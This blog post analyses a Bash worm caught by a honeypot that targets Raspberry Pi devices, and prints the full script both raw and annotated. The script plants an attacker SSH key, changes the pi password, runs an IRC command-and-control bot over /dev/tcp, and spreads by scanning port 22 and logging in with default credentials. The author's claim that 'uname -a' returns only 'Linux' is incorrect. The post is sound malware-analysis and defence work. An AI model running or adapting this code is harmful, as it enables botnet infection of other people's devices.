Fishing for Malware — Part Four: Raspberry Pi IRC Bot | Sid's Blog
~ / Posts $ cat 'Fishing for Malware — Part Four: Raspberry Pi IRC Bot.md'

Fishing for Malware — Part Four: Raspberry Pi IRC Bot

    14 Min     Posts

⇤ Start from the beginning

While dissecting binaries using Ghidra, Strings, and Hexdump makes for a fun puzzle in itself, it’s also fascinating to inspect the raw source code of malware. Cowrie, a Telnet and SSH honeypot with emulates a Unix environment packaged within T-Pot, captured quite the interesting Bash script, which includes a variety of malicious elements specifically designed for the Raspberry Pi platform.

Information

Purpose: installation of TCP backdoor on Linux; accepts commands via IRC channel #biret.

Indicators of Compromise

File

Source Code

C0755 4745 nC9qy0wv
#!/bin/bash

MYSELF=`realpath $0`
DEBUG=/dev/null
echo $MYSELF >> $DEBUG

if [ "$EUID" -ne 0 ]
then 
  NEWMYSELF=`mktemp -u 'XXXXXXXX'`
  sudo cp $MYSELF /opt/$NEWMYSELF
  sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
  sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
  sudo sh -c "echo 'exit 0' >> /etc/rc.local"
  sleep 1
  sudo reboot
else
TMP1=`mktemp`
echo $TMP1 >> $DEBUG

killall bins.sh
killall minerd
killall node
killall nodejs
killall ktx-armv4l
killall ktx-i586
killall ktx-m68k
killall ktx-mips
killall ktx-mipsel
killall ktx-powerpc
killall ktx-sh4
killall ktx-sparc
killall arm5
killall zmap
killall kaiten
killall perl

echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
rm -rf /root/.bashrc
rm -rf /home/pi/.bashrc

usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi

mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"  >> /root/.ssh/authorized_keys

echo "nameserver 8.8.8.8" >> /etc/resolv.conf
rm -rf /tmp/ktx*
rm -rf /tmp/cpuminer-multi
rm -rf /var/tmp/kaiten

cat > /tmp/public.pem <<EOFMARKER
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----
EOFMARKER

BOT=`mktemp -u 'XXXXXXXX'`

cat > /tmp/$BOT <<'EOFMARKER'
#!/bin/bash

SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
while [ true ]; do

  arr[0]="ix1.undernet.org"
  arr[1]="ix2.undernet.org"
  arr[2]="Ashburn.Va.Us.UnderNet.org"
  arr[3]="Bucharest.RO.EU.Undernet.Org"
  arr[4]="Budapest.HU.EU.UnderNet.org"
  arr[5]="Chicago.IL.US.Undernet.org"
  rand=$[$RANDOM % 6]
  svr=${arr[$rand]}

  eval 'exec 3<>/dev/tcp/$svr/6667;'
  if [[ ! "$?" -eq 0 ]] ; then
      continue
  fi

  echo $NICK

  eval 'printf "NICK $NICK\r\n" >&3;'
  if [[ ! "$?" -eq 0 ]] ; then
      continue
  fi
  eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
  if [[ ! "$?" -eq 0 ]] ; then
    continue
  fi

  # Main loop
  while [ true ]; do
    eval "read msg_in <&3;"

    if [[ ! "$?" -eq 0 ]] ; then
      break
    fi

    if  [[ "$msg_in" =~ "PING" ]] ; then
      printf "PONG %s\n" "${msg_in:5}";
      eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
      if [[ ! "$?" -eq 0 ]] ; then
        break
      fi
      sleep 1
      eval 'printf "JOIN #biret\r\n" >&3;'
      if [[ ! "$?" -eq 0 ]] ; then
        break
      fi
    elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
      privmsg_h=$(echo $msg_in| cut -d':' -f 3)
      privmsg_data=$(echo $msg_in| cut -d':' -f 4)
      privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)

      hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
      sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`

      if [[ "$sign" == "$hash" ]] ; then
        CMD=`echo $privmsg_data | base64 -d -i`
        RES=`bash -c "$CMD" | base64 -w 0`
        eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
        if [[ ! "$?" -eq 0 ]] ; then
          break
        fi
      fi
    fi
  done
done
EOFMARKER

chmod +x /tmp/$BOT
nohup /tmp/$BOT 2>&1 > /tmp/bot.log &
rm /tmp/nohup.log -rf
rm -rf nohup.out
sleep 3
rm -rf /tmp/$BOT

NAME=`mktemp -u 'XXXXXXXX'`

date > /tmp/.s

apt-get update -y --force-yes
apt-get install zmap sshpass -y --force-yes

while [ true ]; do
  FILE=`mktemp`
  zmap -p 22 -o $FILE -n 100000
  killall ssh scp
  for IP in `cat $FILE`
  do
    sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
    sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
  done
  rm -rf $FILE
  sleep 10
done

fi

Annotated Breakdown

Okay — there is a lot to unpack here. Let’s proceed chronologically down the length of the script.

MYSELF=`realpath $0` # Find my location
DEBUG=/dev/null
echo $MYSELF >> $DEBUG

realpath is part of the GNU coreutils; it resolves the location of an entity in the filesystem while resolving all references and links. The functionality of pwd, in most cases, may be thought of as a subset of realpath in that respect. The above code is used to determine where the script itself resides upon execution.

Privilege Escalation

if [ "$EUID" -ne 0 ] # If not running as root (or under sudo/doas)
then 
  NEWMYSELF=`mktemp -u 'XXXXXXXX'` # Generate a pseudorandom string 8 chars long
  sudo cp $MYSELF /opt/$NEWMYSELF # Copy this script to /opt with the name geenrated above
  sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local" # Start sh on boot...
  sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local" # ...So that this script can also be executed on boot
  sudo sh -c "echo 'exit 0' >> /etc/rc.local" # Stop whatever else may come afterwards
  sleep 1
  sudo reboot #Reboot so that the script may take effect *running as ROOT*
else
TMP1=`mktemp`
echo $TMP1 >> $DEBUG

This is a fantastic example of simple privilege escalation! The EUID is first checked — an EUID of zero indicates that the current privilege level is root, by way of actually running as the root account or elevation via sudo or doas. Not running as root presents issues for this script; the following steps are executed if so:

  1. Generate a random string with mktemp.
  2. Copy the script to /opt using the generated string as the filename.
  3. Append sh (shell) and the script to /etc/rc.local, which will be executed on boot as root, thereby running the script as root.
  4. Reboot.

Quite creative.

Killing Processes

killall bins.sh
killall minerd
killall node
killall nodejs
killall ktx-armv4l
killall ktx-i586
killall ktx-m68k
killall ktx-mips
killall ktx-mipsel
killall ktx-powerpc
killall ktx-sh4
killall ktx-sparc
killall arm5
killall zmap
killall kaiten
killall perl

The script then kills the processes shown above. zmap, a network scanner, seems reasonable to stop (with malicious intent), but I’m not sure why the attacker chose to stop the others, which are oddly specific. Perhaps to save resources?

Cleaning Bash Profiles; Changing Account Password

echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts # Classic malicious domain
rm -rf /root/.bashrc # Clearing Bash customization from the root account
rm -rf /home/pi/.bashrc # Clearing Bash customization from the... pi account? Raspberry Pi?

# Changing the password of the pi account (encrypted)
usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi

This section provides some much-needed insight: the assumption of the pi account implies that this script must be designed for use on Raspberry Pi devices! This may also explain killing the processes above — Node, for example, is a common application run on Rasberry Pi computers for development work.

Injecting SSH key

mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"  >> /root/.ssh/authorized_keys

Here’s another interesting section — the script appends the public SSH key of the attacker to provide for remote access! Let this serve as a reminder to always audit authorized_keys. Google, for example, prevents this attack from occurring on their Cloud Compute VMs by running a service that periodically resets authorized_keys to a version that only includes keys explicitly defined in the VM metadata.

Removing Malware?

echo "nameserver 8.8.8.8" >> /etc/resolv.conf
rm -rf /tmp/ktx*
rm -rf /tmp/cpuminer-multi
rm -rf /var/tmp/kaiten

As far as I can tell, the directories removed in the code above belong to (potentially malicious) crypto miners. Therefore, it seems that this malware is cleaning up the processes of other malware. How kind of the script author.

The DNS entry ensures connectivity to the attacker by using a common host (Google). This malware otherwise would might not function on networks such as my own, as I run a personal DNS server with many malicious and otherwise undesired domains blocked.

Storing a Public Key

cat > /tmp/public.pem <<EOFMARKER
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----
EOFMARKER

A public key is then placed within /tmp/public.pem, presumably to allow for simple remote access by another service (?).

Embedded IRC Script

So far, a lot of preliminary steps have been taken to prepare the target environment for attack. It is here, within an infinite while loop, that the attack finally occurs.

Head

BOT=`mktemp -u 'XXXXXXXX'` # Generates another pseudorandom string for the file name below

cat > /tmp/$BOT <<'EOFMARKER'
#!/bin/bash
...

Setting a system name

...

SYS=`uname -a | md5sum | awk -F' ' '{print $1}'` # Gets a hash of the system name
NICK=a${SYS:24} # Sets a nickname
...

Frankly, this section strikes me as dumb misguided (kindly pass on my most sincere apologies to the script author). Here is why: except for a few edge cases, the vast majority of Raspberry Pi devices run Linux. On Linux, uname -a always returns the same string:

$ uname -a
Linux

So, the SYS variable assignment command does the following:

  1. Execute uname -a, which will almost always return the same “Linux” string.
  2. Pipe “Linux” into md5sum, which will always return the “638dd9cda411c1f92e831eeb14780a67”.

Since the hash is the same every time, NICK=a${SYS:24} will set the nickname variable to the string “a14780a67” at least 99 percent of the time. So, what is the point of setting a nickname to the same string on every target device? I’m not sure — for that, we would have to tap into the infinite wisdom of the script author.

Mapping IRC Servers

...
while [ true ]; do

  # Servers
  arr[0]="ix1.undernet.org"
  arr[1]="ix2.undernet.org"
  arr[2]="Ashburn.Va.Us.UnderNet.org"
  arr[3]="Bucharest.RO.EU.Undernet.Org"
  arr[4]="Budapest.HU.EU.UnderNet.org"
  arr[5]="Chicago.IL.US.Undernet.org"

  # Chooses a pseudorandom server
  rand=$[$RANDOM % 6]
  svr=${arr[$rand]}

  # Check if an established TCP connection exists between host and server
  eval 'exec 3<>/dev/tcp/$svr/6667;' #  Also, set new FD (3)
  if [[ ! "$?" -eq 0 ]] ; then
      continue # Skip back to the top of the loop if a connection already exists
      # NO `sleep` statement here... will check endlessly as fast as possible; silly
  fi
  ...

It appears that this bot uses the UnderNet IRC system to establish connections with. Let’s take a look at UnderNet— perhaps we can find IRC channels (specifically #biret) related to this malware. For reference, #biret is the channel that this script initiates connections to.

Screenshot of UnderNet IRC channel list

Sigh. IRC… A relic that is perhaps best forgotten in some aspects. Two other users, which I have deliberately not shown here, are active at the time of writing this post in #biret. In fact, one of the active users has the name of a compromised target device!

Main Logic

...
  echo $NICK

  eval 'printf "NICK $NICK\r\n" >&3;'
  if [[ ! "$?" -eq 0 ]] ; then
      continue
  fi
  eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
  if [[ ! "$?" -eq 0 ]] ; then
    continue
  fi

  # Main loop
  while [ true ]; do
    eval "read msg_in <&3;" // Examine the contents of msg_in recieved from the TCP host-IRC connection

    # If msg_in is null, quit the main loop
    if [[ ! "$?" -eq 0 ]] ; then
      break
    fi

    # On IRC in = 'PING', respond 'PONG' via IRC
    # Presumably to test connectivity?
    if  [[ "$msg_in" =~ "PING" ]] ; then
      printf "PONG %s\n" "${msg_in:5}";
      eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
      if [[ ! "$?" -eq 0 ]] ; then
        break
      fi
      sleep 1

      // If msg_in is null, quit the main loop
      eval 'printf "JOIN #biret\r\n" >&3;'
      if [[ ! "$?" -eq 0 ]] ; then
        break
      fi

    # `=~` is a bash regex operator which searches for 'PRIVMSG' within $msg_in
    # So, if 'PRIVMSG' is somewhere within $msg_in, continue
    elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then

      # Cut $msg_in, extracting the relevant elements:
      # - A section to be hashed
      # - A data section containing instructions
      # - The IRC nickname of the host
      privmsg_h=$(echo $msg_in| cut -d':' -f 3)
      privmsg_data=$(echo $msg_in| cut -d':' -f 4)
      privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)

      # Get an MD5 hash of the data from $msg_in
      # Use $privmsg_h to sign the public key generated earlier
      # Use: Ensure attacks come from the original attacker
      hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
      sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`

      # If the sign is genuine (signed with the attackers public key)
      if [[ "$sign" == "$hash" ]] ; then
        CMD=`echo $privmsg_data | base64 -d -i` // Then grab the command to execute
        RES=`bash -c "$CMD" | base64 -w 0`
        eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;' // Echo command back to attacker?

        # If msg_in is null, quit the main loop
        if [[ ! "$?" -eq 0 ]] ; then
          break
        fi
      fi
    fi
  done
done
EOFMARKER
...

The main execution loop has several interesting elements. Essentially, the attacker establishes communication with the victim host via IRC and signs their attacks to ensure no other malicious actor can take advantage of the exploit. Very creative — this is likely also why no commands I sent to victim hosts in #biret responded to requests.

...
chmod +x /tmp/$BOT # Makes script executable so that it can run on other systems
nohup /tmp/$BOT 2>&1 > /tmp/bot.log & # Ensures that the script is not stopped upon user logoff or any other hang events

# Clean traces
rm /tmp/nohup.log -rf
rm -rf nohup.out
sleep 3
rm -rf /tmp/$BOT

# Generate a new name
NAME=`mktemp -u 'XXXXXXXX'`

date > /tmp/.s

# Install:
# - ZMap: a network scanner
# - sshpass: a utility that allows for keyboard-interactive SSH sessions in non-interactive (automated) sessions
apt-get update -y --force-yes
apt-get install zmap sshpass -y --force-yes

# SPREAD LOOP
while [ true ]; do
  FILE=`mktemp`

  # Collect all IPs with port 22 open
  zmap -p 22 -o $FILE -n 100000
  killall ssh scp
  for IP in `cat $FILE`

  # For each IP with 22 open, attempt to log in awith the credential set pi:praspberry
  # If a connection succeeds:
  # SPREAD AND EXECUTE THE SCRIPT
  do
    sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
    sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
  done
  rm -rf $FILE // Clean traces
  sleep 10
done

fi

And here we have the finale: as with so many other malicious binaries, it attempts to spread where it can, trying to infect any unsecured Raspberry Pi on the local network. For a user with many new Raspberry Pis, I imagine this attack would prove very effective, netting many hosts.

Conclusion

This was certainly an interesting script to behold. From the methodology employed by the attacker to control remote machines to the attack signing, it is evident that significant thought went into the development of this script. I would love the opportunity to anonymously interview the attacker… How many hosts were infected? Were infected hosts primarily useless, residential hobby computers? Was it possible to pivot from infected Raspberry pis to more important targets? Abstracting the unethicality of the development of malware, the creativity demonstrated here is remarkable and has made for quite an engaging learning experience.

Note: I do not condone the development or distribution of malware outside of educational contexts.

What should I do if I find this script on my Raspberry Pi?

Immediately disconnect the device from the network and eject the storage medium. Mount it on an external device, back up any needed data, and then wipe all data. Reinstall the OS as normal. Do not attempt to manually remove the malware, as there is no reliable record of extra steps the attacker may have taken.

What can we learn from this attack?

Always, always, always secure services and minimize service visibility on the Internet. This attack would not function without the ability to deposit itself onto a host. Further, change default passwords for every account and service, even those not used. This script takes advantage of negligence in that regard, searching for hosts with the default Rasberry Pi credentials to pivot to.

Stay safe online, and thank you so much for reading.

Fishing for Malware: Part 5 →
← Fishing for Malware: Part 3


Share 'Fishing for Malware — Part Four: Raspberry Pi IRC Bot'

Thank you so much for reading this entry. Note that I am open to questions, comments, and criticism — I learn alongside you. Do you see something that's not quite right or that I could otherwise improve upon? Please, do not hesitate to suggest an edit.

Email Twitter LinkedIn GitHub